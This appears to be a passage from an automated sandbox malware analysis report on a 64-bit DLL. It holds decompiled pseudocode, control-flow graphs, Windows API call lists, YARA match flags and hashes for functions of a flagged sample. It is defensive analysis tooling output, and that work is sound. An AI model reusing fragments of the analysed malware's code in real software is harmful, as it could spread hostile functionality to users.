										_t58 = E10003AF0(_t95, _t108, _t110, _t114, _t118, _t119, _t120); // executed
										__eflags = _t58;
										if(_t58 < 0) {
											L14:
											E100036A0(_t95, _t108, _t110, _t112);
											goto L15;
										} else {
											_t60 = E10003730(1, _t86, _t95, _t108, _t110, _t112, _t114, _t116, _t118);
											__eflags = _t60;
											if(_t60 < 0) {
												goto L14;
											} else {
												_t61 = E10001BC0(0, _t86, _t95, _t105, _t108, _t114); // executed
												__eflags = _t61;
												if(_t61 != 0) {
													goto L14;
												} else {
													 *0x10017180 =  *0x10017180 + 1;
													__eflags =  *0x10017180;
													return 1;
												}
											}
										}
									}
								}
							}
						} else {
							GetProcessHeap();
							HeapFree(??, ??, ??);
							goto L4;
						}
					}
				}
			}


































                                                                        0x10001500
                                                                        0x10001500
                                                                        0x10001500
                                                                        0x10001500
                                                                        0x10001500
                                                                        0x10001500
                                                                        0x10001500
                                                                        0x10001500
                                                                        0x10001507
                                                                        0x1000150c
                                                                        0x1000150f
                                                                        0x10001676
                                                                        0x10001678
                                                                        0x100016c3
                                                                        0x100016c6
                                                                        0x10001738
                                                                        0x1000173b
                                                                        0x1000173d
                                                                        0x1000173f
                                                                        0x1000173f
                                                                        0x00000000
                                                                        0x100016c8
                                                                        0x100016c8
                                                                        0x100016d7
                                                                        0x100016dc
                                                                        0x100016df
                                                                        0x100016e2
                                                                        0x00000000
                                                                        0x100016e8
                                                                        0x100016ee
                                                                        0x100016f1
                                                                        0x100016f7
                                                                        0x100016f9
                                                                        0x10001727
                                                                        0x1000172c
                                                                        0x10001737
                                                                        0x100016fb
                                                                        0x100016fb
                                                                        0x10001700
                                                                        0x10001705
                                                                        0x1000170b
                                                                        0x10001713
                                                                        0x10001723
                                                                        0x10001723
                                                                        0x100016f9
                                                                        0x100016e2
                                                                        0x1000167a
                                                                        0x1000167a
                                                                        0x10001680
                                                                        0x10001682
                                                                        0x00000000
                                                                        0x10001688
                                                                        0x1000168b
                                                                        0x10001691
                                                                        0x10001697
                                                                        0x10001699
                                                                        0x10001699
                                                                        0x1000169e
                                                                        0x100016a1
                                                                        0x10001744
                                                                        0x10001752
                                                                        0x100016a7
                                                                        0x100016a7
                                                                        0x100016ac
                                                                        0x100016b1
                                                                        0x100016c2
                                                                        0x100016c2
                                                                        0x100016a1
                                                                        0x10001682
                                                                        0x10001515
                                                                        0x10001515
                                                                        0x1000151d
                                                                        0x10001526
                                                                        0x1000152f
                                                                        0x10001532
                                                                        0x1000155b
                                                                        0x10001566
                                                                        0x10001534
                                                                        0x10001537
                                                                        0x10001545
                                                                        0x10001567
                                                                        0x1000156c
                                                                        0x1000156f
                                                                        0x10001574
                                                                        0x10001577
                                                                        0x1000157f
                                                                        0x10001584
                                                                        0x10001588
                                                                        0x1000158e
                                                                        0x10001594
                                                                        0x10001599
                                                                        0x1000159c
                                                                        0x100015a2
                                                                        0x100015a6
                                                                        0x100015a8
                                                                        0x100015a8
                                                                        0x100015b3
                                                                        0x100015bd
                                                                        0x100015c3
                                                                        0x100015cb
                                                                        0x100015d1
                                                                        0x100015d7
                                                                        0x100015dc
                                                                        0x100015e1
                                                                        0x100015e3
                                                                        0x100015e8
                                                                        0x100015ed
                                                                        0x100015f2
                                                                        0x00000000
                                                                        0x100015f8
                                                                        0x100015f8
                                                                        0x100015fd
                                                                        0x100015ff
                                                                        0x10001665
                                                                        0x10001665
                                                                        0x1000166a
                                                                        0x10001675
                                                                        0x10001601
                                                                        0x10001601
                                                                        0x10001606
                                                                        0x1000160c
                                                                        0x10001613
                                                                        0x10001618
                                                                        0x1000161f
                                                                        0x10001624
                                                                        0x10001626
                                                                        0x10001660
                                                                        0x10001660
                                                                        0x00000000
                                                                        0x10001628
                                                                        0x10001628
                                                                        0x1000162d
                                                                        0x1000162f
                                                                        0x1000165b
                                                                        0x1000165b
                                                                        0x00000000
                                                                        0x10001631
                                                                        0x10001631
                                                                        0x10001636
                                                                        0x10001638
                                                                        0x00000000
                                                                        0x1000163a
                                                                        0x1000163c
                                                                        0x10001641
                                                                        0x10001643
                                                                        0x00000000
                                                                        0x10001645
                                                                        0x10001645
                                                                        0x10001645
                                                                        0x1000165a
                                                                        0x1000165a
                                                                        0x10001643
                                                                        0x10001638
                                                                        0x1000162f
                                                                        0x10001626
                                                                        0x100015ff
                                                                        0x10001547
                                                                        0x10001547
                                                                        0x10001555
                                                                        0x00000000
                                                                        0x10001555
                                                                        0x10001545
                                                                        0x10001532

                                                                        APIs
                                                                        • GetProcessHeap.KERNEL32 ref: 10001515
                                                                        • HeapAlloc.KERNEL32 ref: 10001526
                                                                        • GetVersionExA.KERNEL32 ref: 1000153D
                                                                        • GetProcessHeap.KERNEL32 ref: 10001547
                                                                        • HeapFree.KERNEL32 ref: 10001555
                                                                          • Part of subcall function 100036A0: DeleteCriticalSection.KERNEL32(?,?,?,?,100016AC), ref: 100036E9
                                                                          • Part of subcall function 10002C50: FlsFree.KERNEL32(?,?,?,?,100016B1), ref: 10002C5F
                                                                          • Part of subcall function 10002C50: TlsFree.KERNEL32(?,?,?,?,100016B1), ref: 10002C7A
                                                                          • Part of subcall function 100021F0: HeapDestroy.KERNEL32(?,?,?,?,100016B6), ref: 100021FB
                                                                        • GetProcessHeap.KERNEL32 ref: 1000158E
                                                                        • HeapFree.KERNEL32 ref: 1000159C
                                                                        • GetCommandLineA.KERNEL32 ref: 10001606
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: Heap$Free$Process$AllocCommandCriticalDeleteDestroyLineSectionVersion
                                                                        • String ID:
                                                                        • API String ID: 4041283029-0
                                                                        • Opcode ID: 7e169209e8627cb084508df685d8846c4ff9861b0e1c47ccb4740a41b217d0a3
                                                                        • Instruction ID: b8db1a90dcdfc93c7441a16a5d3c0407a5ba767f54535d3feb8245e206349d4a
                                                                        • Opcode Fuzzy Hash: 7e169209e8627cb084508df685d8846c4ff9861b0e1c47ccb4740a41b217d0a3
                                                                        • Instruction Fuzzy Hash: D0517E35A04B0186FB45DF65A8013CAB3E5FB8CBD4F484124EB8A8735AEE79E4818B11
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180005B18 Relevance: 5.7, Strings: 4, Instructions: 709COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 379 180005b18-180005b35 380 180005b3a-180005b3f 379->380 381 180005b45 380->381 382 180006269-18000626e 380->382 383 180005b4b-180005b50 381->383 384 180006170-180006264 call 18002093c call 180026784 call 18000f7bc 381->384 385 180006482-180006517 call 180002ae4 call 180026784 382->385 386 180006274-180006279 382->386 387 180006076-18000616b call 180020c68 call 180026784 call 18000f7bc 383->387 388 180005b56-180005b5b 383->388 384->380 411 18000651c-180006596 call 18000f7bc 385->411 389 1800063cf-18000647d call 18000c290 386->389 390 18000627f-180006284 386->390 387->380 394 180005b61-180005b66 388->394 395 180005f14-180005fc7 call 180012f94 call 180026784 388->395 389->380 396 18000628a-18000628f 390->396 397 1800065ab-18000661a call 1800124e4 call 180026784 390->397 402 180005b6c-180005b71 394->402 403 180005dce-180005e59 call 180013bb4 call 180026784 394->403 438 180005fcc-180006071 call 18000f7bc 395->438 404 180006295-180006339 call 1800213fc call 180026784 396->404 405 18000659b-1800065a0 396->405 436 18000661f-18000668a call 18000f7bc 397->436 413 180005c95-180005d2e call 18001b558 call 180026784 402->413 414 180005b77-180005b7c 402->414 442 180005e5e-180005f0f call 18000f7bc 403->442 443 18000633e-1800063ca call 18000f7bc 404->443 417 1800065a6 405->417 418 18000668f-180006695 405->418 411->405 450 180005d33-180005dc9 call 18000f7bc 413->450 414->405 424 180005b82-180005c90 call 1800199f4 call 180026784 call 18000f7bc 414->424 417->380 424->380 436->418 438->380 442->380 443->380 450->380
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: !$iv$uu$uu
                                                                        • API String ID: 0-314779803
                                                                        • Opcode ID: d8868042dc38f38fe7fd9a717d634a035c578d80092cb5773838332c0dcc33c5
                                                                        • Instruction ID: be3874fde71fabf09f9c5c1fa56fd06ebc2f9d413a9f3dbe2520aa816d996628
                                                                        • Opcode Fuzzy Hash: d8868042dc38f38fe7fd9a717d634a035c578d80092cb5773838332c0dcc33c5
                                                                        • Instruction Fuzzy Hash: CD72EB7150064E8FDB49DF28C49A6DE3FA1FB68388F214219FC4A962A0D778D695CBC4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000CCC8 Relevance: 5.3, Strings: 4, Instructions: 291COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: %V"$;<8$>A%3$_
                                                                        • API String ID: 0-3295070022
                                                                        • Opcode ID: c03509b85431d9cd247ae3855a418badeaf1e36b81dfd63c0d88c72341702a4b
                                                                        • Instruction ID: ed28691bcc6cfb019d03b0c36603ee2b013eb1c09830e330db1e6e1cc927059f
                                                                        • Opcode Fuzzy Hash: c03509b85431d9cd247ae3855a418badeaf1e36b81dfd63c0d88c72341702a4b
                                                                        • Instruction Fuzzy Hash: BED1FF71529780ABD3C8DF28C5DA95BBBF1FBC4758F806A1DF886862A0D774D805CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180018B3C Relevance: 4.1, Strings: 3, Instructions: 372COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 492 180018b3c-180018b7c 493 180018b7e 492->493 494 180018b80-180018b86 493->494 495 180018b8c-180018b92 494->495 496 1800193c0 494->496 498 180018fd6-180018fe0 495->498 499 180018b98-180018b9e 495->499 497 1800193c5-1800193cb 496->497 497->494 500 1800193d1-1800193de 497->500 501 180018fe2-180019011 498->501 502 180019013-180019043 498->502 499->497 503 180018ba4-180018dab call 180003be8 call 18001a728 499->503 504 18001904d-1800193a0 call 180028648 call 18001a728 call 18001264c 501->504 502->504 512 180018db2-180018fcb call 18001a728 call 18001264c 503->512 513 180018dad 503->513 517 1800193a5-1800193af 504->517 512->500 522 180018fd1 512->522 513->512 517->500 519 1800193b1-1800193bb 517->519 519->494 522->493
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: [f$\$1
                                                                        • API String ID: 0-3516292800
                                                                        • Opcode ID: fff8eda2a2f97c74ebe90de9de009a0ff03563e687b00f5f7246eec12eb55319
                                                                        • Instruction ID: b18899857d8ae4a554a587c097f49fe702e9ff0265f822b50e19142fad8230ef
                                                                        • Opcode Fuzzy Hash: fff8eda2a2f97c74ebe90de9de009a0ff03563e687b00f5f7246eec12eb55319
                                                                        • Instruction Fuzzy Hash: 3822E8715057C8CBEBBACFA4D889BCD77A8FB44B44F10561EE84AEA290DBB45744CB01
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001EB08 Relevance: 3.9, Strings: 3, Instructions: 143COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 0g$`/$eU
                                                                        • API String ID: 0-1869587935
                                                                        • Opcode ID: e42517781b4c5a6e2395bcec890ae724bc5a418ada587a66dde62167571468c0
                                                                        • Instruction ID: 5966d415b57cd3fd79a90a093e8c7fcb1e55ffc256eb4f7933e558d29a342f67
                                                                        • Opcode Fuzzy Hash: e42517781b4c5a6e2395bcec890ae724bc5a418ada587a66dde62167571468c0
                                                                        • Instruction Fuzzy Hash: BC61CC705187448FD3A8DF29C58A61BBBF1FBC6744F004A1DF68A862A4D7B6D908CB47
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180017414 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130processCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 534 180017414-1800174df call 180001000 537 1800175e6-18001762a CreateProcessW 534->537 538 1800174e5-1800175e0 call 18002412c 534->538 538->537
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: CreateProcess
                                                                        • String ID: L[
                                                                        • API String ID: 963392458-3786185354
                                                                        • Opcode ID: 806773b70e7ab706d630f49173ef1c4c2e45366edcb4d6d18c8755d8a62b8c06
                                                                        • Instruction ID: cebf5acbb8b78e0f6561d8b1c34a376f4b5e4f53f4d2000016dd961e58395a70
                                                                        • Opcode Fuzzy Hash: 806773b70e7ab706d630f49173ef1c4c2e45366edcb4d6d18c8755d8a62b8c06
                                                                        • Instruction Fuzzy Hash: 2351E67051CB858FE778DF18D48A79ABBE0FB88315F108A2EE49DC7255DB749884CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180011B88 Relevance: 1.8, Strings: 1, Instructions: 586COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: w@
                                                                        • API String ID: 0-3933844196
                                                                        • Opcode ID: 5e190d2b37476e442a844b01a1e6e2b4e7978620d8c54b7cf5e7142be065b825
                                                                        • Instruction ID: c25eecc1eab6b3bc5f5127a1cfc054f1be778c7352367ed4fb5dfc1b91363dda
                                                                        • Opcode Fuzzy Hash: 5e190d2b37476e442a844b01a1e6e2b4e7978620d8c54b7cf5e7142be065b825
                                                                        • Instruction Fuzzy Hash: AA520A71E4470D8FDB58CFA8C44AAEEBBF2FB58354F004119D806B6290DBB45A19CF99
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001BD64 Relevance: 1.7, Strings: 1, Instructions: 425COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: :q:\
                                                                        • API String ID: 0-2895447576
                                                                        • Opcode ID: 886945f031e67b58a868bdb1e381ef4a9fc1c96ab49a30106b080c815137e49d
                                                                        • Instruction ID: 129cd008e18fffd6d82cc49562707a2eb553c7836143a70441255e0eea8facad
                                                                        • Opcode Fuzzy Hash: 886945f031e67b58a868bdb1e381ef4a9fc1c96ab49a30106b080c815137e49d
                                                                        • Instruction Fuzzy Hash: 8F22C3B1510649EBDB9CCF28C8CAA9D3FA1FB48394F906219FD06872A0D775D8C5CB81
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001A804 Relevance: 1.5, Strings: 1, Instructions: 205COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: lr
                                                                        • API String ID: 0-916072004
                                                                        • Opcode ID: fa212b8693eb9b32a65a2385a5ea898d40d4b6b25daee9b6546e8f2daae18533
                                                                        • Instruction ID: 59ea1331a0bdd80b88c255110b4acef48a27008a8c6eb5465fb50d1281fba972
                                                                        • Opcode Fuzzy Hash: fa212b8693eb9b32a65a2385a5ea898d40d4b6b25daee9b6546e8f2daae18533
                                                                        • Instruction Fuzzy Hash: 07A17E70519B889BE7E9CF24C8C9BDA77E0FB84744F505A1DF8868B290DB74DA44CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002B6BC Relevance: 1.4, Strings: 1, Instructions: 144COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 0OX
                                                                        • API String ID: 0-2247774083
                                                                        • Opcode ID: cbe327959dac0143b50e131ebb10b63ebbb26e3c7b73c3fb7901bf4345a69007
                                                                        • Instruction ID: 5e2dfe5cc3b9d7b49467fa7bb554b83c69c8050dd933a5a4b902e7174b551f04
                                                                        • Opcode Fuzzy Hash: cbe327959dac0143b50e131ebb10b63ebbb26e3c7b73c3fb7901bf4345a69007
                                                                        • Instruction Fuzzy Hash: 2661047190464C8FDB88CFA8C9895DDBBF0FB4C318F118259E84AB7251D7B89905CF59
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180027E28 Relevance: .2, Instructions: 171COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: fb3303564b81bcf5b35f1ad04ff7d9599e8f7a8f4ca1d0a4c5254e8142fd1683
                                                                        • Instruction ID: 749ec9799dd37990a8d823b3f654b8b7c445eb52a85c20c1b97a06cbca76a3de
                                                                        • Opcode Fuzzy Hash: fb3303564b81bcf5b35f1ad04ff7d9599e8f7a8f4ca1d0a4c5254e8142fd1683
                                                                        • Instruction Fuzzy Hash: 3881297011064D8FDB89DF28C88A6DA3FE1FB18398F515219FC4A962A1C778D698CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10003350 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 203COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 301 10003350-10003395 GetStartupInfoA call 10003210 304 100033a0-100033bb 301->304 305 10003397-1000339b 301->305 306 10003400 304->306 307 100033bd 304->307 308 1000363f-1000367e 305->308 310 10003403-10003409 306->310 309 100033c0-100033f6 307->309 309->309 311 100033f8-100033fe 309->311 312 10003562-1000356c 310->312 313 1000340f-10003417 310->313 311->310 315 10003570-10003585 312->315 313->312 314 1000341d-1000343d 313->314 318 10003443-1000344d 314->318 319 100034d5 314->319 316 10003596-1000359d 315->316 317 10003587-1000358b 315->317 322 100035a6-100035b0 316->322 323 1000359f-100035a4 316->323 317->316 320 1000358d-10003591 317->320 324 10003450-10003463 call 10003210 318->324 321 100034dc-100034e2 319->321 325 10003618-10003624 320->325 321->312 326 100034e4-100034ec 321->326 327 100035b3-100035c0 GetStdHandle 322->327 323->327 337 10003465-10003482 324->337 338 100034cc-100034d3 324->338 325->315 329 1000362a-10003638 SetHandleCount 325->329 330 10003552-10003560 326->330 331 100034ee-100034f2 326->331 332 100035c2-100035c5 327->332 333 1000360d-10003611 327->333 329->308 330->312 330->326 331->330 335 100034f4-100034fa 331->335 332->333 336 100035c7-100035d2 GetFileType 332->336 333->325 335->330 339 100034fc-100034fe 335->339 336->333 340 100035d4-100035dd 336->340 341 100034c1-100034c8 337->341 342 10003484-100034b9 337->342 338->321 343 10003500-10003508 GetFileType 339->343 344 1000350a-10003540 call 10004d00 339->344 345 100035e5-100035e8 340->345 346 100035df-100035e3 340->346 341->324 348 100034ca 341->348 342->342 347 100034bb 342->347 343->330 343->344 354 10003542-10003546 344->354 355 10003548-1000354d 344->355 350 100035ee-100035fe call 10004d00 345->350 351 100035ea 345->351 346->350 347->341 348->321 357 10003600-10003604 350->357 358 10003606-1000360b 350->358 351->350 354->330 355->308 357->325 358->308
                                                                        C-Code - Quality: 52%
                                                                        			E10003350(signed int __edi, signed long long __rbx, void* __rdx, signed long long __rdi, long long __rsi, void* __rbp, void* __r8, signed long long __r12, long long __r13, long long __r14, long long __r15, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _v8;
				void* _v16;
				void* _v24;
				intOrPtr* _v64;
				short _v70;
				char _v136;
				void* _t64;
				void* _t67;
				signed char _t68;
				signed int _t69;
				long _t71;
				intOrPtr _t76;
				signed int _t78;
				intOrPtr _t80;
				signed int _t91;
				long long* _t93;
				long long _t95;
				long long _t96;
				signed long long _t102;
				long long* _t105;
				signed char _t110;
				void* _t114;
				signed long long _t115;
				signed long long _t116;
				long long _t120;
				intOrPtr* _t122;
				long long* _t124;
				void* _t125;
				long long* _t126;
				long long* _t127;
				signed long long _t128;
				signed char* _t132;
				intOrPtr* _t135;
				signed char* _t136;

				_t128 = __r12;
				_t125 = __r8;
				_t123 = __rbp;
				_t115 = __rdi;
				_t114 = __rdx;
				_t102 = __rbx;
				_t91 = __edi;
				_t93 = _t124;
				 *((long long*)(_t93 + 8)) = __rbx;
				 *((long long*)(_t93 + 0x10)) = __rsi;
				 *((long long*)(_t93 + 0x18)) = __rdi;
				 *((long long*)(_t93 + 0x20)) = __r12;
				 *((long long*)(_t93 - 8)) = __r13;
				 *((long long*)(_t93 - 0x10)) = __r14;
				 *((long long*)(_t93 - 0x18)) = __r15;
				_t107 =  &_v136;
				GetStartupInfoA(??);
				_t64 = E10003210(_t93, __rbx,  &_v136, __rdx, __rdi, __rsi, __rbp, __r12);
				_t126 = _t93;
				if(_t93 != 0) {
					 *0x10018640 = _t93;
					_t80 = 0x20;
					 *0x10018628 = 0x20;
					if(_t126 >= _t93 + 0x800) {
						r12d = 0;
						L7:
						if(_v70 == 0) {
							L29:
							r13d = r12d;
							_t116 = _t128;
							do {
								_t105 = (_t116 << 6) +  *0x10018640;
								_t95 =  *_t105;
								if(_t95 == 0xffffffff || _t95 == 0xfffffffe) {
									 *(_t105 + 8) = 0x81;
									if(_t116 != 0) {
									}
									GetStdHandle();
									_t120 = _t95;
									if(_t95 == 0xffffffff || _t95 == 0) {
										L46:
										 *(_t105 + 8) =  *(_t105 + 8) | 0x00000040;
										 *_t105 = 0xfffffffe;
										goto L47;
									} else {
										_t68 = GetFileType(); // executed
										if(_t68 == 0) {
											goto L46;
										}
										 *_t105 = _t120;
										_t69 = _t68 & 0x000000ff;
										if(_t69 != 2) {
											if(_t69 == 3) {
												 *(_t105 + 8) =  *(_t105 + 8) | 0x00000008;
											}
										} else {
											 *(_t105 + 8) =  *(_t105 + 8) | 0x00000040;
										}
										_t52 = _t105 + 0x10; // 0x10
										if(E10004D00(0xfa0, _t95, _t105, _t52, _t114, _t116, _t120, _t125, _t128) == 0) {
											_t67 = 0xffffffff;
											L49:
											return _t67;
										} else {
											 *((intOrPtr*)(_t105 + 0xc)) =  *((intOrPtr*)(_t105 + 0xc)) + 1;
											goto L47;
										}
									}
								} else {
									 *(_t105 + 8) =  *(_t105 + 8) | 0x00000080;
								}
								L47:
								r13d = r13d + 1;
								_t116 = _t116 + 1;
							} while (_t116 < 3);
							SetHandleCount();
							_t67 = 0;
							goto L49;
						}
						_t135 = _v64;
						if(_t135 == 0) {
							goto L29;
						}
						_t96 =  *_t135;
						_t136 = _t135 + 4;
						_t132 =  &(_t136[_t96]);
						r15d = 0x800;
						r15d =  <  ? _t64 : r15d;
						if(_t80 >= r15d) {
							_t122 = 0x10018640;
							L19:
							_t78 = r12d;
							if(r15d <= 0) {
								goto L29;
							} else {
								goto L20;
							}
							do {
								L20:
								_t110 =  *_t132;
								if(_t110 != 0xffffffff && _t110 != 0xfffffffe) {
									_t71 =  *_t136 & 0x000000ff;
									if((_t71 & 0x00000001) == 0) {
										goto L28;
									}
									if((_t71 & 0x00000008) != 0) {
										L25:
										dil = _t71;
										_t91 = _t91 & 0x0000001f;
										_t115 = (_t115 << 6) +  *((intOrPtr*)(_t122 + (_t78 >> 5) * 8));
										 *_t115 =  *_t132;
										 *((char*)(_t115 + 8)) =  *_t136 & 0x000000ff;
										_t40 = _t115 + 0x10; // 0x10
										if(E10004D00(0xfa0,  *_t132, _t102, _t40, _t114, _t115, _t122, _t125, _t128) == 0) {
											_t67 = 0xffffffff;
											goto L49;
										}
										 *((intOrPtr*)(_t115 + 0xc)) =  *((intOrPtr*)(_t115 + 0xc)) + 1;
										goto L28;
									}
									_t71 = GetFileType();
									if(_t71 == 0) {
										goto L28;
									}
									goto L25;
								}
								L28:
								_t78 = _t78 + 1;
								_t136 =  &(_t136[1]);
								_t132 =  &(_t132[8]);
							} while (_t78 < r15d);
							goto L29;
						}
						_t122 = 0x10018640;
						while(1) {
							E10003210(_t96, _t102, _t107, _t114, _t115, _t122, _t123, _t128);
							_t127 = _t96;
							if(_t96 == 0) {
								break;
							}
							 *((long long*)(_t122 + _t102 * 8)) = _t96;
							_t76 =  *0x10018628 + 0x20;
							 *0x10018628 = _t76;
							_t23 = _t127 + 0x800; // 0x800
							_t107 = _t23;
							if(_t127 >= _t23) {
								L15:
								_t102 = _t102 + 1;
								if(_t76 < r15d) {
									continue;
								}
								goto L19;
							} else {
								goto L13;
							}
							do {
								L13:
								 *((char*)(_t127 + 8)) = 0;
								 *_t127 = 0xffffffff;
								 *((char*)(_t127 + 9)) = 0xa;
								 *(_t127 + 0xc) = r12d;
								 *(_t127 + 0x38) =  *(_t127 + 0x38) & 0x00000080;
								 *((char*)(_t127 + 0x39)) = 0xa;
								 *((char*)(_t127 + 0x3a)) = 0xa;
								_t127 = _t127 + 0x40;
								_t96 =  *((intOrPtr*)(_t122 + _t102 * 8)) + 0x800;
							} while (_t127 < _t96);
							_t76 =  *0x10018628;
							goto L15;
						}
						r15d =  *0x10018628;
						goto L19;
					}
					r12d = 0;
					do {
						 *((intOrPtr*)(_t126 + 8)) = r12b;
						 *_t126 = 0xffffffff;
						 *((char*)(_t126 + 9)) = 0xa;
						 *(_t126 + 0xc) = r12d;
						 *((intOrPtr*)(_t126 + 0x38)) = r12b;
						 *((char*)(_t126 + 0x39)) = 0xa;
						 *((char*)(_t126 + 0x3a)) = 0xa;
						_t126 = _t126 + 0x40;
					} while (_t126 <  *0x10018640 + 0x800);
					_t80 =  *0x10018628;
					goto L7;
				}
				_t10 = _t126 - 1; // -1
				_t67 = _t10;
				goto L49;
			}





































                                                                        0x10003350
                                                                        0x10003350
                                                                        0x10003350
                                                                        0x10003350
                                                                        0x10003350
                                                                        0x10003350
                                                                        0x10003350
                                                                        0x10003350
                                                                        0x1000335a
                                                                        0x1000335e
                                                                        0x10003362
                                                                        0x10003366
                                                                        0x1000336a
                                                                        0x1000336e
                                                                        0x10003372
                                                                        0x10003376
                                                                        0x1000337b
                                                                        0x1000338a
                                                                        0x1000338f
                                                                        0x10003395
                                                                        0x100033a0
                                                                        0x100033a7
                                                                        0x100033ac
                                                                        0x100033bb
                                                                        0x10003400
                                                                        0x10003403
                                                                        0x10003409
                                                                        0x10003562
                                                                        0x10003562
                                                                        0x10003565
                                                                        0x10003570
                                                                        0x10003577
                                                                        0x1000357e
                                                                        0x10003585
                                                                        0x10003596
